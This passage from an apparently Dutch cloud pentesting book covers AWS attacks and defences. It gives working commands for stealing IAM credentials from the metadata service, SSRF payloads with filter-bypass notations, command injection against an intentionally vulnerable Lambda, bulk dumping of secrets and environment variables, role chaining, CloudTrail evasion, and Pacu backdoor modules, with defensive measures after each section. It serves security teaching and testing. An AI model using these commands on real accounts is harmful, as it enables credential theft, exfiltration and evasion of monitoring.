Er zijn twee versies:

IMDSv1 is het oorspronkelijke protocol. Het is simpel: stuur een HTTP GET-request, krijg de data terug. Geen authenticatie, geen tokens, geen bescherming.

# IMDSv1 -- simpele GET requests
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/hostname
curl http://169.254.169.254/latest/meta-data/local-ipv4
curl http://169.254.169.254/latest/meta-data/public-ipv4
curl http://169.254.169.254/latest/meta-data/instance-id
curl http://169.254.169.254/latest/meta-data/security-groups
curl http://169.254.169.254/latest/meta-data/iam/info

# De gouden prijs: IAM credentials
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Dit geeft de naam van de IAM role
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
# Dit geeft: AccessKeyId, SecretAccessKey, Token (tijdelijk)

# User-data: het startup script van de instantie
# Bevat vaak wachtwoorden, API keys, en configuratie
curl http://169.254.169.254/latest/user-data/

IMDSv2 vereist een session token:

# IMDSv2 -- eerst een token ophalen
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
    -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

# Dan het token meesturen bij elk verzoek
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
    http://169.254.169.254/latest/meta-data/

curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
    http://169.254.169.254/latest/meta-data/iam/security-credentials/

curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
    http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME

curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
    http://169.254.169.254/latest/user-data/

IMDSv2 beschermt tegen SSRF-aanvallen, omdat het PUT-verzoek voor het token een custom header vereist die de meeste SSRF-kwetsbaarheden niet kunnen meesturen. Maar het beschermt niet tegen een aanvaller die al code kan uitvoeren op de instantie.

Het verschil tussen v1 en v2? IMDSv1 is een deur zonder slot. IMDSv2 is een deur met een slot dat je moet omdraaien voordat je binnenkomt. Geen van beide stopt iemand die al binnen is.

3.5.3 SSRF naar metadata

De meest voorkomende aanval op EC2-metadata is via Server-Side Request Forgery. Als een webapplicatie op een EC2-instantie een SSRF-kwetsbaarheid heeft, kan een aanvaller de applicatie laten praten met de metadata-service:

# SSRF naar IMDSv1 (als de applicatie URL's accepteert)
# Payload: http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Alternatieve notaties om filters te omzeilen
# Decimaal: http://2852039166/latest/meta-data/
# Hex: http://0xa9fea9fe/latest/meta-data/
# IPv6 mapped: http://[::ffff:169.254.169.254]/latest/meta-data/
# DNS rebinding: configureer een domein dat resolvet naar 169.254.169.254

# Voorbeeld van een SSRF-aanval via een url-preview functie:
curl "https://target.com/api/preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

De Capital One-breach van 2019 was precies dit patroon: een SSRF-kwetsbaarheid in een webapplicatie leidde tot het uitlezen van IAM-credentials via de metadata-service, die vervolgens werden gebruikt om S3 buckets te lezen met 100 miljoen klantrecords.

3.5.4 User-data scripts

EC2 user-data is een startup script dat bij het starten van een instantie wordt uitgevoerd. Het wordt vaak gebruikt om software te installeren, configuratie toe te passen, en – hier gaat het mis – credentials in te stellen.

# User-data ophalen (vanaf de instantie zelf)
curl http://169.254.169.254/latest/user-data/

# Typische inhoud die je vindt:
#!/bin/bash
# DOE DIT NIET -- maar het gebeurt dagelijks
export DB_PASSWORD="SuperGeheimWachtwoord123!"
export AWS_ACCESS_KEY_ID="AKIAEXAMPLE..."
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG..."
apt-get install -y docker
docker pull company/app:latest
docker run -e DB_PASSWORD=$DB_PASSWORD company/app:latest

User-data is ook zichtbaar via de EC2 API met ec2:DescribeInstanceAttribute:

# User-data ophalen van een andere instantie (API)
aws ec2 describe-instance-attribute \
    --instance-id i-0abcdef1234567890 \
    --attribute userData \
    --query 'UserData.Value' --output text | base64 -d

3.5.5 EBS Snapshot access

EBS (Elastic Block Store) snapshots zijn backups van EC2-schijven. Als een snapshot publiekelijk is gedeeld – of gedeeld met een account dat je beheert – kun je de volledige schijfinhoud lezen.

# Zoek publieke snapshots van het target account
aws ec2 describe-snapshots \
    --owner-ids 123456789012 \
    --query 'Snapshots[*].{Id:SnapshotId,Description:Description,Size:VolumeSize}' \
    --output table

# Maak een volume van een snapshot (in je eigen account)
aws ec2 create-volume \
    --snapshot-id snap-0abcdef1234567890 \
    --availability-zone eu-west-1a

# Mount het volume op je eigen EC2-instantie
aws ec2 attach-volume \
    --volume-id vol-0abcdef1234567890 \
    --instance-id i-YOUR_INSTANCE \
    --device /dev/sdf

# Op je instantie: mount en doorzoek
sudo mount /dev/xvdf1 /mnt
find /mnt -name "*.conf" -o -name "*.env" -o -name "*.key" -o -name "*.pem"
grep -r "password\|secret\|key" /mnt/etc/ /mnt/home/ /mnt/opt/ 2>/dev/null

Publieke snapshots zijn minder zeldzaam dan je zou hopen. Soms worden ze per ongeluk gedeeld. Soms worden ze gedeeld “voor debugging” en daarna vergeten. Soms weet de persoon die ze deelt niet dat “public” letterlijk “de hele wereld” betekent.

Verdedigingsmaatregel: Forceer IMDSv2 via een Instance Metadata Options-configuratie. Blokkeer IMDSv1 volledig. Sla geen credentials op in user-data. Gebruik IAM roles in plaats van hardcoded keys. Controleer regelmatig of er publieke EBS snapshots zijn. Gebruik AWS Config rules om automatisch te detecteren wanneer een snapshot publiekelijk wordt gedeeld.

3.6 Lambda Exploitatie

3.6.1 Serverless is niet zorgeloos

AWS Lambda is de serverless compute-service van AWS. Je schrijft code, uploadt het, en AWS zorgt voor de rest: servers, schaling, beschikbaarheid. Het klinkt als een droom. En voor aanvallers is het dat ook – maar om andere redenen.

Lambda-functies draaien onder IAM-roles. Die roles hebben vaak meer rechten dan nodig. De code in de functies bevat vaak hardcoded credentials. En de events die Lambda triggeren, worden zelden gevalideerd.

3.6.2 Function URL abuse

Lambda Function URLs zijn publiekelijk bereikbare HTTPS-endpoints voor Lambda-functies. Ze zijn bedoeld voor eenvoudige API’s en webhooks. Het probleem: als de authenticatie verkeerd is geconfigureerd, kan iedereen de functie aanroepen.

# Zoek Lambda-functies met Function URLs
aws lambda list-function-url-configs --function-name TARGET_FUNCTION

# Enumerate alle functies en hun URL configs
for func in $(aws lambda list-functions --query 'Functions[].FunctionName' --output text); do
    url=$(aws lambda get-function-url-config --function-name "$func" 2>/dev/null \
        | jq -r '.FunctionUrl')
    if [ "$url" != "null" ] && [ -n "$url" ]; then
        auth=$(aws lambda get-function-url-config --function-name "$func" \
            | jq -r '.AuthType')
        echo "$func: $url (Auth: $auth)"
    fi
done

Als AuthType op NONE staat, is de functie toegankelijk zonder authenticatie. Iedereen met de URL kan de functie aanroepen.

3.6.3 Environment variable secrets

Lambda-functies gebruiken environment variables voor configuratie. Die variabelen bevatten vaak credentials:

# Haal de configuratie op van een Lambda-functie (inclusief env vars)
aws lambda get-function-configuration --function-name TARGET_FUNCTION

# De output bevat een "Environment" sectie:
# "Environment": {
#     "Variables": {
#         "DB_HOST": "prod-db.cluster-abc.eu-west-1.rds.amazonaws.com",
#         "DB_USER": "admin",
#         "DB_PASSWORD": "ProductieWachtwoord123!",
#         "API_KEY": "sk-live-AbCdEfGhIjKlMnOpQrStUvWxYz",
#         "SLACK_WEBHOOK": "https://hooks.slack.com/services/T00/B00/xxxx"
#     }
# }

# Enumerate alle functies en hun environment variables
aws lambda list-functions --query 'Functions[].FunctionName' --output text \
    | tr '\t' '\n' \
    | while read func; do
        echo "=== $func ==="
        aws lambda get-function-configuration --function-name "$func" \
            | jq '.Environment.Variables // empty'
    done

Dit is een goudmijn. Database-wachtwoorden, API-keys, webhooks, interne service-URLs – alles staat in de environment variables. En iedereen met lambda:GetFunctionConfiguration kan ze lezen.

3.6.4 Event injection

Lambda-functies worden getriggerd door events: HTTP-requests, S3 uploads, SQS-berichten, CloudWatch-events. Als de functie de event-data niet valideert, is het kwetsbaar voor injection.

# Kwetsbare Lambda-functie (voorbeeld)
import subprocess

def handler(event, context):
    # Event bevat user input via API Gateway
    filename = event['queryStringParameters']['file']
    # Command injection via bestandsnaam!
    result = subprocess.run(f"cat /tmp/{filename}", shell=True, capture_output=True)
    return {
        'statusCode': 200,
        'body': result.stdout.decode()
    }
# Exploitatie: command injection via de event parameter
curl "https://FUNCTION_URL/?file=;env"
# Output bevat alle environment variables, inclusief AWS credentials

curl "https://FUNCTION_URL/?file=;cat+/proc/self/environ"
# Alternatief: process environment

3.6.5 Lambda source code ophalen

Als je lambda:GetFunction hebt, kun je de broncode van een Lambda-functie downloaden:

# Download de code van een Lambda-functie
aws lambda get-function --function-name TARGET_FUNCTION \
    | jq -r '.Code.Location'
# Dit geeft een pre-signed S3 URL waarmee je de code kunt downloaden

# Download en unzip
url=$(aws lambda get-function --function-name TARGET_FUNCTION \
    | jq -r '.Code.Location')
curl -o /tmp/lambda_code.zip "$url"
unzip /tmp/lambda_code.zip -d /tmp/lambda_code/

# Doorzoek de code op credentials
grep -r "password\|secret\|key\|token" /tmp/lambda_code/

De broncode van Lambda-functies bevat vaak meer dan environment variables: hardcoded credentials, interne API-endpoints, business logic die je kunt misbruiken, en dependencies met bekende kwetsbaarheden.

Verdedigingsmaatregel: Gebruik AWS_IAM als authenticatietype voor Function URLs. Sla credentials op in Secrets Manager of Parameter Store, niet in environment variables. Valideer alle event-input. Gebruik de minst brede IAM-role die mogelijk is. Scan Lambda-code op kwetsbaarheden als onderdeel van je CI/CD-pipeline.

3.7 STS en Cross-Account

3.7.1 De vertrouwensketen

AWS Security Token Service (STS) is de dienst die tijdelijke credentials uitgeeft. Via AssumeRole kun je tijdelijk de rechten van een andere role overnemen. Dit is de basis van cross-account toegang in AWS: account A vertrouwt account B, en gebruikers in account B kunnen roles aannemen in account A.

Dit vertrouwensmodel is krachtig en flexibel. Het is ook een aanvalsoppervlak van jewelste.

3.7.2 AssumeRole in de praktijk

# Stap 1: Vind roles die cross-account trust hebben
aws iam list-roles | jq '.Roles[] |
    select(.AssumeRolePolicyDocument.Statement[].Principal.AWS != null) |
    {RoleName, TrustPrincipal: .AssumeRolePolicyDocument.Statement[].Principal}'

# Een trust policy die cross-account toegang toestaat:
{
    "Version": "2012-10-17",
    "Statement": [{
        "Effect": "Allow",
        "Principal": {
            "AWS": "arn:aws:iam::999888777666:root"
        },
        "Action": "sts:AssumeRole"
    }]
}
# Dit betekent: elke identiteit in account 999888777666 kan deze role aannemen

# Stap 2: AssumeRole uitvoeren
creds=$(aws sts assume-role \
    --role-arn arn:aws:iam::123456789012:role/CrossAccountRole \
    --role-session-name pentest-session \
    --output json)

# Stap 3: Tijdelijke credentials instellen
export AWS_ACCESS_KEY_ID=$(echo $creds | jq -r '.Credentials.AccessKeyId')
export AWS_SECRET_ACCESS_KEY=$(echo $creds | jq -r '.Credentials.SecretAccessKey')
export AWS_SESSION_TOKEN=$(echo $creds | jq -r '.Credentials.SessionToken')

# Stap 4: Verifieer
aws sts get-caller-identity
# Nu werk je als de CrossAccountRole in het target account

3.7.3 Confused Deputy

Het Confused Deputy-probleem doet zich voor wanneer een service (de “deputy”) wordt misleid om acties uit te voeren namens een aanvaller. In AWS-context: als een service een role mag aannemen namens klanten, kan een kwaadaardige klant de service mogelijk laten acteren in een ander klant-account.

// Kwetsbare trust policy (geen ExternalId check)
{
    "Version": "2012-10-17",
    "Statement": [{
        "Effect": "Allow",
        "Principal": {
            "AWS": "arn:aws:iam::THIRD_PARTY_ACCOUNT:root"
        },
        "Action": "sts:AssumeRole"
    }]
}

// Beveiligde trust policy (met ExternalId)
{
    "Version": "2012-10-17",
    "Statement": [{
        "Effect": "Allow",
        "Principal": {
            "AWS": "arn:aws:iam::THIRD_PARTY_ACCOUNT:root"
        },
        "Action": "sts:AssumeRole",
        "Condition": {
            "StringEquals": {
                "sts:ExternalId": "UNIEK-GEHEIM-PER-KLANT"
            }
        }
    }]
}

De ExternalId is een gedeeld geheim dat voorkomt dat een willekeurige klant van de third-party service de role kan aannemen. Zonder ExternalId kan elke klant van de third-party service de role aannemen – ook een kwaadaardige klant.

3.7.4 Role chaining

Role chaining is het achtereenvolgens aannemen van roles: role A neemt role B aan, die role C aanneemt. Elk stap vergroot potentieel je rechten.

# Stap 1: Start als user met beperkte rechten
aws sts get-caller-identity
# arn:aws:iam::111111111111:user/pentester

# Stap 2: Neem role A aan (beperkte cross-account role)
creds_a=$(aws sts assume-role \
    --role-arn arn:aws:iam::222222222222:role/ReadOnlyRole \
    --role-session-name chain-step1)
export AWS_ACCESS_KEY_ID=$(echo $creds_a | jq -r '.Credentials.AccessKeyId')
export AWS_SECRET_ACCESS_KEY=$(echo $creds_a | jq -r '.Credentials.SecretAccessKey')
export AWS_SESSION_TOKEN=$(echo $creds_a | jq -r '.Credentials.SessionToken')

# Stap 3: Vanuit role A, neem role B aan (met meer rechten)
creds_b=$(aws sts assume-role \
    --role-arn arn:aws:iam::222222222222:role/AdminRole \
    --role-session-name chain-step2)
export AWS_ACCESS_KEY_ID=$(echo $creds_b | jq -r '.Credentials.AccessKeyId')
export AWS_SECRET_ACCESS_KEY=$(echo $creds_b | jq -r '.Credentials.SecretAccessKey')
export AWS_SESSION_TOKEN=$(echo $creds_b | jq -r '.Credentials.SessionToken')

# Verifieer: je bent nu AdminRole
aws sts get-caller-identity

Role chaining werkt als de trust policies het toestaan. Het maximale aantal stappen is beperkt (de session duration wordt korter bij elke stap), maar twee of drie stappen zijn doorgaans voldoende om van beperkte tot volledige rechten te escaleren.

Verdedigingsmaatregel: Gebruik ExternalId bij alle cross-account roles. Beperk trust policies tot specifieke ARNs, niet hele accounts (arn:aws:iam::ACCOUNT:root). Monitor AssumeRole events in CloudTrail. Implementeer session duration limits. Beperk role chaining via IAM-policies.

3.8 Secrets Manager en Parameter Store

3.8.1 De kluis met de deur op een kier

AWS Secrets Manager en Systems Manager Parameter Store zijn de “juiste” manier om credentials op te slaan in AWS. Ze bieden encryptie, rotatie, en access control. Het probleem is niet de dienst zelf – het probleem is hoe organisaties ze gebruiken.

3.8.2 Secrets Manager enumeratie

# Lijst alle secrets (namen, geen waarden)
aws secretsmanager list-secrets \
    --query 'SecretList[*].{Name:Name,Description:Description}' \
    --output table

# Haal de waarde op van een secret
aws secretsmanager get-secret-value --secret-id prod/database/password
aws secretsmanager get-secret-value --secret-id prod/api/key

# Haal alle secrets op (als je genoeg rechten hebt)
for secret in $(aws secretsmanager list-secrets --query 'SecretList[].Name' --output text); do
    echo "=== $secret ==="
    aws secretsmanager get-secret-value --secret-id "$secret" \
        --query 'SecretString' --output text 2>/dev/null
done

# Zoek naar secrets met bepaalde keywords
aws secretsmanager list-secrets \
    | jq '.SecretList[] | select(.Name | test("admin|root|prod|database|api|key"; "i"))'

3.8.3 Parameter Store enumeratie

# Lijst alle parameters
aws ssm describe-parameters \
    --query 'Parameters[*].{Name:Name,Type:Type}' \
    --output table

# Haal de waarde op (inclusief SecureString parameters)
aws ssm get-parameter --name /prod/database/password --with-decryption

# Haal alle parameters op in een pad
aws ssm get-parameters-by-path --path /prod/ --recursive --with-decryption

# Zoek naar parameters met bepaalde patronen
aws ssm describe-parameters \
    | jq '.Parameters[] | select(.Name | test("password|secret|key|token"; "i"))'

# Bulk ophalen
for param in $(aws ssm describe-parameters --query 'Parameters[].Name' --output text); do
    echo "=== $param ==="
    aws ssm get-parameter --name "$param" --with-decryption \
        --query 'Parameter.Value' --output text 2>/dev/null
done

3.8.4 Policy misconfiguraties

Het meest voorkomende probleem: een IAM-policy die secretsmanager:GetSecretValue of ssm:GetParameter toestaat op Resource: "*". Dit geeft de identiteit toegang tot alle secrets of parameters in het account.

// Te brede policy (veelvoorkomend)
{
    "Version": "2012-10-17",
    "Statement": [{
        "Effect": "Allow",
        "Action": [
            "secretsmanager:GetSecretValue",
            "ssm:GetParameter",
            "ssm:GetParametersByPath"
        ],
        "Resource": "*"
    }]
}

// Correcte policy (specifieke resources)
{
    "Version": "2012-10-17",
    "Statement": [{
        "Effect": "Allow",
        "Action": "secretsmanager:GetSecretValue",
        "Resource": "arn:aws:secretsmanager:eu-west-1:123456789012:secret:app/config/*"
    }]
}

Het verschil? De eerste policy laat de identiteit elk secret in het account lezen. De tweede beperkt het tot secrets die beginnen met app/config/. Het verschil in configuratie-effort is verwaarloosbaar. Het verschil in beveiligingsimpact is enorm.

Verdedigingsmaatregel: Beperk GetSecretValue en GetParameter tot specifieke resource ARNs. Gebruik KMS key policies als extra laag van access control. Activeer secrets rotation. Monitor GetSecretValue en GetParameter calls in CloudTrail. Gebruik IAM Access Analyzer om te verifiëren dat secrets niet te breed gedeeld zijn.

3.9 CloudTrail en GuardDuty

3.9.1 De bewakingscamera’s

AWS CloudTrail logt alle API-calls in een AWS-account. Elke AssumeRole, elke GetSecretValue, elke RunInstances – het staat allemaal in CloudTrail. GuardDuty analyseert die logs (plus VPC Flow Logs en DNS-logs) op verdachte activiteiten.

Als pentester moet je weten wat er wordt gelogd, wat niet, en hoe je kunt opereren binnen een omgeving met actieve monitoring.

3.9.2 Wat wordt gelogd?

Categorie Standaard gelogd? Voorbeelden
Management events Ja CreateUser, AssumeRole, CreateBucket
S3 data events Nee (opt-in) GetObject, PutObject
Lambda data events Nee (opt-in) Invoke
Insights events Nee (opt-in) Anomalie-detectie op API-volume
VPC Flow Logs Nee (apart) Netwerverkeer

De standaardconfiguratie logt alleen management events. Dat betekent dat s3:GetObject (het lezen van objecten) standaard niet wordt gelogd. Je kunt in stilte door S3 buckets bladeren zonder een spoor achter te laten in CloudTrail – tenzij de organisatie S3 data events heeft ingeschakeld.

3.9.3 Evasion technieken

Let op: Evasion is onderdeel van een penetratietest. Het doel is om de detectiecapaciteiten van de organisatie te testen. Documenteer wat je hebt gedaan en wat wel of niet werd gedetecteerd.

# Techniek 1: Gebruik regio's waar CloudTrail niet is geconfigureerd
# Veel organisaties configureren CloudTrail alleen in hun primaire regio
# Check welke regio's CloudTrail trails hebben
aws cloudtrail describe-trails \
    | jq '.trailList[] | {Name, HomeRegion, IsMultiRegionTrail}'

# Als IsMultiRegionTrail = false, worden events in andere regio's niet gelogd
# Voer acties uit in een niet-gemonitorde regio:
aws --region ap-northeast-3 s3 ls  # Osaka -- zelden geconfigureerd

# Techniek 2: S3 data events (vaak niet ingeschakeld)
# ListBucket en GetObject worden alleen gelogd als data events zijn ingeschakeld
aws s3 ls s3://target-bucket/
aws s3 cp s3://target-bucket/secret.txt /tmp/

# Techniek 3: Gebruik services die minder worden gemonitord
# Niet alle services genereren CloudTrail events voor alle acties
# Sommige read-only acties in minder populaire services worden niet gelogd

# Techniek 4: Tijdstip
# Voer activiteiten uit tijdens kantooruren, wanneer normaal verkeer het maskeert

3.9.4 GuardDuty detectie

GuardDuty detecteert specifieke patronen. Als pentester is het nuttig om te weten welke:

Finding Type Wat het detecteert
Recon:IAMUser/MaliciousIPCaller API-calls vanaf bekende kwaadaardige IPs
UnauthorizedAccess:IAMUser/ConsoleLoginSuccess.B Console login vanuit ongebruikelijk land
Discovery:S3/MaliciousIPCaller S3 API-calls vanaf kwaadaardige IPs
Persistence:IAMUser/UserPermissions Ongebruikelijke IAM policy-wijzigingen
PrivilegeEscalation:IAMUser/AdministrativePermissions Escalatie naar admin rechten
Exfiltration:S3/MaliciousIPCaller Data exfiltratie via S3
Impact:EC2/BitcoinDomainRequest.Reputation Cryptomining-gerelateerde DNS queries
UnauthorizedAccess:EC2/MetadataDNSRebind DNS rebinding naar metadata service

GuardDuty gebruikt threat intelligence feeds, machine learning en baseline-analyse. Het is effectief tegen ongerichte aanvallen en bekende patronen. Tegen een doelgerichte pentester die vanuit een schoon IP-adres werkt en binnen normale werkuren opereert, is het minder effectief.

Verdedigingsmaatregel: Configureer CloudTrail als multi-region trail. Schakel S3 en Lambda data events in. Gebruik CloudTrail Lake of een SIEM voor long-term analyse. Activeer GuardDuty in alle regio’s. Configureer GuardDuty findings naar SNS/EventBridge voor real-time alerting. Monitor specifiek op iam:CreateUser, iam:AttachUserPolicy, sts:AssumeRole vanuit onverwachte bronnen.

3.10 Pacu framework

3.10.1 Het Zwitserse zakmes voor AWS-pentesting

Pacu is een open-source AWS exploitation framework, vergelijkbaar met Metasploit maar dan specifiek voor AWS. Het is ontwikkeld door Rhino Security Labs en biedt modules voor enumeratie, privilege escalation, persistence, en data exfiltratie.

# Installatie
git clone https://github.com/RhinoSecurityLabs/pacu.git
cd pacu
pip3 install -r requirements.txt

# Start Pacu
python3 cli.py

# Maak een sessie aan
Pacu> set_keys
# Voer je AWS access key en secret key in

# Verifieer je identiteit
Pacu> whoami

3.10.2 Belangrijke modules

Enumeratie modules:

# IAM enumeratie -- de eerste stap
Pacu> run iam__enum_permissions
# Ontdekt alle permissies van je huidige identiteit

Pacu> run iam__enum_users_roles_policies_groups
# Enumereert alle IAM-entiteiten in het account

# EC2 enumeratie
Pacu> run ec2__enum
# Verzamelt informatie over alle EC2-instanties, security groups, etc.

# S3 enumeratie
Pacu> run s3__enum
# Lijst alle S3 buckets en hun configuratie

# Lambda enumeratie
Pacu> run lambda__enum
# Verzamelt Lambda-functies, configuratie, en environment variables

# Secrets
Pacu> run enum__secrets
# Doorzoekt Secrets Manager en Parameter Store

Privilege escalation modules:

# Automatische privesc detectie
Pacu> run iam__privesc_scan
# Analyseert je huidige rechten en identificeert privesc-paden

# Specifieke privesc-technieken
Pacu> run iam__privesc_scan --method CreateNewPolicyVersion
Pacu> run iam__privesc_scan --method AttachUserPolicy
Pacu> run iam__privesc_scan --method PassExistingRoleToNewLambdaThenInvoke

Persistence modules:

# Maak een backdoor user aan
Pacu> run iam__backdoor_users_keys
# Genereert nieuwe access keys voor bestaande users

# Maak een backdoor role aan
Pacu> run iam__backdoor_assume_role
# Maakt een role aan die je vanuit je eigen account kunt aannemen

Data exfiltratie modules:

# Download S3 bucket inhoud
Pacu> run s3__download_bucket --dl-names target-bucket

# Zoek naar credentials in EC2 user-data
Pacu> run ec2__check_user_data

3.10.3 Session management

Pacu bewaart alle verzamelde data in een sessie. Je kunt meerdere sessies beheren voor verschillende engagements:

# Nieuwe sessie aanmaken
Pacu> swap_session
# Of: create_session NAAM

# Bekijk verzamelde data
Pacu> data IAM
Pacu> data S3
Pacu> data EC2

# Exporteer sessiedata
Pacu> export_keys
Pacu> data --all

# Sessie-overzicht
Pacu> sessions

3.10.4 Privesc chains met Pacu

De kracht van Pacu zit in de automatisering van complexe aanvalsketens:

# Stap 1: Wie ben ik?
Pacu> whoami

# Stap 2: Wat mag ik?
Pacu> run iam__enum_permissions

# Stap 3: Kan ik escaleren?
Pacu> run iam__privesc_scan

# Stap 4: Escaleer
# Pacu voert automatisch de gevonden privesc-methode uit

# Stap 5: Verifieer de nieuwe rechten
Pacu> whoami
Pacu> run iam__enum_permissions

# Stap 6: Enumereer met de nieuwe rechten
Pacu> run s3__enum
Pacu> run ec2__enum
Pacu> run lambda__enum
Pacu> run enum__secrets

IB Tip: Documenteer elke stap die Pacu uitvoert in de IB Notes-functie. Pacu genereert veel CloudTrail-events; noteer welke modules je hebt gedraaid en op welk tijdstip, zodat je in je rapport kunt aangeven welke detectie-events de organisatie had moeten opvangen.

3.11 Verdedigingsmaatregelen: een samenhangend beeld

De verdediging van een AWS-omgeving rust op vier pijlers:

3.11.1 Service Control Policies (SCPs)

SCPs zijn de nucleaire optie van AWS-beveiliging. Ze worden toegepast op accountniveau in AWS Organizations en overschrijven alle andere permissies. Als een SCP iets verbiedt, kan niemand het doen – zelfs niet de root user van het account.

// SCP: voorkom dat CloudTrail wordt uitgeschakeld
{
    "Version": "2012-10-17",
    "Statement": [{
        "Effect": "Deny",
        "Action": [
            "cloudtrail:StopLogging",
            "cloudtrail:DeleteTrail"
        ],
        "Resource": "*"
    }]
}

// SCP: beperk activiteiten tot specifieke regio's
{
    "Version": "2012-10-17",
    "Statement": [{
        "Effect": "Deny",
        "NotAction": [
            "iam:*",
            "sts:*",
            "s3:*",
            "cloudfront:*"
        ],
        "Resource": "*",
        "Condition": {
            "StringNotEquals": {
                "aws:RequestedRegion": [
                    "eu-west-1",
                    "eu-central-1"
                ]
            }
        }
    }]
}

3.11.2 Permission Boundaries

Permission Boundaries zijn IAM-policies die een plafond zetten op de rechten die een user of role kan hebben. Zelfs als een user AdministratorAccess heeft, beperkt de Permission Boundary wat ze daadwerkelijk kunnen doen.

// Permission Boundary: maximaal S3 en Lambda
{
    "Version": "2012-10-17",
    "Statement": [{
        "Effect": "Allow",
        "Action": [
            "s3:*",
            "lambda:*",
            "logs:*"
        ],
        "Resource": "*"
    }]
}
// Zelfs met AdministratorAccess kan deze user geen EC2, IAM, etc. gebruiken

3.11.3 IMDSv2 enforcement

# Forceer IMDSv2 voor alle nieuwe EC2-instanties
aws ec2 modify-instance-metadata-options \
    --instance-id i-0abcdef1234567890 \
    --http-tokens required \
    --http-put-response-hop-limit 1
# http-tokens required = alleen IMDSv2
# http-put-response-hop-limit 1 = blokkeert container-naar-metadata requests

3.11.4 GuardDuty en monitoring

# Activeer GuardDuty in alle regio's
for region in $(aws ec2 describe-regions --query 'Regions[].RegionName' --output text); do
    aws guardduty create-detector --enable --region "$region" 2>/dev/null
    echo "GuardDuty enabled in $region"
done

3.12 De ongemakkelijke waarheid over AWS-beveiliging

AWS biedt alle tools die je nodig hebt om een veilige omgeving op te bouwen. SCPs, Permission Boundaries, IMDSv2, GuardDuty, CloudTrail, Config Rules, Access Analyzer, IAM Access Advisor – het arsenaal is indrukwekkend. Het probleem is niet het gereedschap. Het probleem is de vakman.

De gemiddelde AWS-omgeving lijdt niet aan een gebrek aan beveiligingsopties. Het lijdt aan een gebrek aan discipline. Iemand heeft AdministratorAccess gekoppeld aan een development-user “omdat het anders niet werkte.” Iemand heeft IMDSv1 laten staan “omdat de applicatie dat nodig had.” Iemand heeft een S3 bucket publiekelijk gemaakt “voor testing” en het nooit teruggedraaid.

Het patroon is altijd hetzelfde. De technologie is er. Het beleid is er. De procedure is er. Maar de menselijke neiging om de makkelijkste weg te kiezen, wint het elke keer van het beveiligingsbeleid.

De enige verdediging die werkelijk werkt, is automatisering. Niet beleid dat op papier staat, maar beleid dat in code staat. SCPs die voorkomen dat CloudTrail wordt uitgeschakeld. AWS Config rules die automatisch detecteren wanneer een S3 bucket publiekelijk wordt. Permission Boundaries die voorkomen dat developers hun eigen rechten kunnen escaleren.

Automatiseer het. Want mensen vergeten. Code niet.

3.13 Referentietabel

Techniek Tool/Commando Doel MITRE ATT&CK
Identity Discovery aws sts get-caller-identity Identificeer huidige AWS-identiteit T1087.004
IAM Permission Enum enumerate-iam Ontdek alle beschikbare API-calls T1087.004
IAM User/Role Enum aws iam list-users/roles Enumereer IAM-entiteiten T1087.004
IAM Policy Analysis aws iam get-account-authorization-details Volledige IAM-dump T1087.004
IAM Privesc Scan Pacu iam__privesc_scan Identificeer privilege escalation-paden T1078.004
CreatePolicyVersion aws iam create-policy-version Policy inhoud wijzigen T1098.003
PassRole + Lambda aws lambda create-function Privilege escalation via Lambda T1078.004
AssumeRole aws sts assume-role Cross-account of role-escalatie T1550.001
S3 Public Bucket aws s3 ls --no-sign-request Publiekelijk toegankelijke buckets T1530
S3 Object Download aws s3 cp --no-sign-request Data exfiltratie uit open buckets T1530
EC2 IMDS Credentials curl 169.254.169.254 IAM credentials via metadata service T1552.005
EC2 User-Data curl .../user-data/ Credentials in startup scripts T1552.005
EBS Snapshot Access aws ec2 describe-snapshots Data van publieke snapshots T1530
Lambda Env Vars aws lambda get-function-configuration Credentials in environment variables T1552.001
Lambda Source Code aws lambda get-function Download Lambda-code voor analyse T1213.003
Lambda Event Injection Function URL Command injection via event-data T1059
Secrets Manager Enum aws secretsmanager list-secrets Secrets enumeratie en exfiltratie T1552.001
Parameter Store Enum aws ssm get-parameters-by-path Credentials in Parameter Store T1552.001
CloudTrail Evasion Gebruik niet-gemonitorde regio’s Logging-evasie T1562.008
Pacu Framework pacu Geautomatiseerde AWS exploitation
Cross-Account Abuse sts:AssumeRole + trust policies Laterale beweging tussen accounts T1550.001
Confused Deputy Ontbrekende ExternalId Cross-account trust misbruik T1199

Volgende hoofdstuk: Hoofdstuk 4 – Azure Aanvallen

Azure en Entra ID

Azure en Entra ID

“De cloud is andermans computer. Active Directory in de cloud is andermans computer met het telefoonboek van je hele bedrijf erop. Wat kan er misgaan?”

4.1 Azure Architectuur voor Pentesters

4.1.1 De Geologie van de Cloud

Als je Active Directory on-premises kunt vergelijken met een middeleeuws kasteel — muren, grachten, een ophaalbrug, en een bewaker die de helft van de tijd slaapt — dan is Azure een heel ander beest. Azure is een stad. Een stad zonder muren, zonder grachten, met honderden ingangen, en met een bewakingssysteem dat volledig afhankelijk is van pasjes, camera’s en beleidsregels die niemand volledig heeft gelezen.

En net als bij elke stad geldt: als je de plattegrond kent, kun je overal komen.

De Azure-architectuur is hierarchisch opgebouwd, van boven naar beneden. Voor een pentester is het begrijpen van die hierarchie niet optioneel — het is de basis van alles wat volgt. Als je niet weet waar je bent in de boom, weet je niet waar je heen kunt.

4.1.2 De Hierarchie

┌──────────────────────────────────────────────────────────────────┐
│                     Azure AD Tenant (Entra ID)                    │
│                     (identiteit en authenticatie)                  │
│                                                                   │
│   ┌────────────────────────────────────────────────────────────┐  │
│   │               Root Management Group                         │  │
│   │                                                             │  │
│   │   ┌──────────────────┐    ┌──────────────────┐             │  │
│   │   │ Management Group │    │ Management Group │             │  │
│   │   │  "Productie"     │    │  "Development"   │             │  │
│   │   │                  │    │                  │             │  │
│   │   │ ┌──────────────┐ │    │ ┌──────────────┐ │             │  │
│   │   │ │ Subscription │ │    │ │ Subscription │ │             │  │
